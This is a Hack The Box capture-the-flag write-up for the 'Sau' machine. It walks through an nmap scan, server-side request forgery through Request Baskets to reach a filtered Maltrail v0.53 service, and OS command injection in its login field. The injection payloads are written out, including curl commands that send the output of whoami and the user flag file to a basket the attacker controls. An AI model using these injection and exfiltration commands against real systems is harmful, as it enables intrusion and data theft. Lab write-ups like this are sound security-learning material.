Writeup SAU - Hack The Box

Writeup SAU - Hack The Box
HTB Sau machine

Hack The Box has recently released a new machine of Easy difficulty on July 9th, 2023. In this write-up, I will meticulously outline the step-by-step process I followed to successfully obtain the user flag, along with the detailed procedures I employed.

Typically, I maintain a .txt document where I meticulously document each step taken to uncover the flags, along with the attempts made and their outcomes—what proved effective and what didn't.

Always I start by compiling a list of information i have gathered about the machine:

  • OS type: linux
  • Ip:

Then by doing an NMPA I can discover the open ports and services:

Starting Nmap 7.93 ( https://nmap.org ) at 2023-08-07 00:10 CEST
Nmap scan report for
Host is up (0.033s latency).
Not shown: 997 closed tcp ports (reset)

22/tcp    open     ssh
80/tcp    filtered http
55555/tcp open     unknown

No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).

TCP/IP fingerprint:

Network Distance: 2 hops

By analyzing the NMAP I saw 3 services:

  • Port 22: This port is dedicated to SSH connections, offering a secure remote access.
  • Port 80: Functioning as an HTTP port, it serves a webpage. However, it's worth noting that the connection to this port appears to be filtered, potentially hinting at some form of access restriction or firewall configuration.
  • Port 55555 (TCP): An intriguing find, this port hosts an unfamiliar service that will need further investigation.

Browsing to "" reveals a page titled "Request Baskets".

Creating a basket with ID '12345' yields success, and a token is generated:

Basket '12345' is successfully created!
Your token is: 1VMR6n2OL_ZEpLsH-ED5Q4fuE5DTw-E3I8XVIsOfV5H3

Accessing the basket at "" I realise that has a button to modify the configuration.

Using the "forward" option allows me to access port 80, even if it was initially considered "filtered" and not reachable from external sources.

Now by using the basket URL I discover a webpage powered by "Maltrail (v0.53)."

In this particular version, there's a handy exploit lurking within the "/login" endpoint of Maltrail. To get a clearer picture, you might want to check out the article I stumbled upon. It really helped me wrap my head around using this exploit effectively.

OS Command Injection in maltrail
4.98K developers have been protected by securing maltrail. Read this report, and explore others to learn how you can also protect the world by earning cash and CVEs.

Having recently discovered the potential for command injection on the system, I find myself facing a realm of boundless opportunities. This revelation simplifies the process of acquiring the user flag.

To confirm my machine's connectivity, I conducted tests using both the ping command and tcpdump. Using the exploit to initiate a ping to my machine, I proceeded to monitor the incoming traffic through tcpdump. This approach allowed me to effectively verify the reception of the ping.

curl '' --data 'username=;`ping 10.10.15.XX`'  
sudo tcpdump -i tun0 src

I initially attempted to transmit information to my machine using Netcat. Regrettably, this approach proved ineffective.

I found out that if I make a request inside the machine, I can actually make it run the commands I want and the responses will pop up on the bucket web page.

curl -X POST --data 'username=;`curl -X POST --data "$(whoami)"`'

The initial curl command is initiated from my PC to the target machine. This machine subsequently processes the command following the 'username' parameter, just as we observed in the exploit. The subsequent curl request serves the purpose of presenting the output from the intended command on the web page associated with the designated bucket.

After running the "whoami" command now I know the user name. Now, I can proceed to retrieve the user flag:

curl -X POST --data 'username=;`curl -X POST --data "$(cat /home/puma/user.txt)"`'

The output of "cat /home/puma/user.txt" will have the user flag.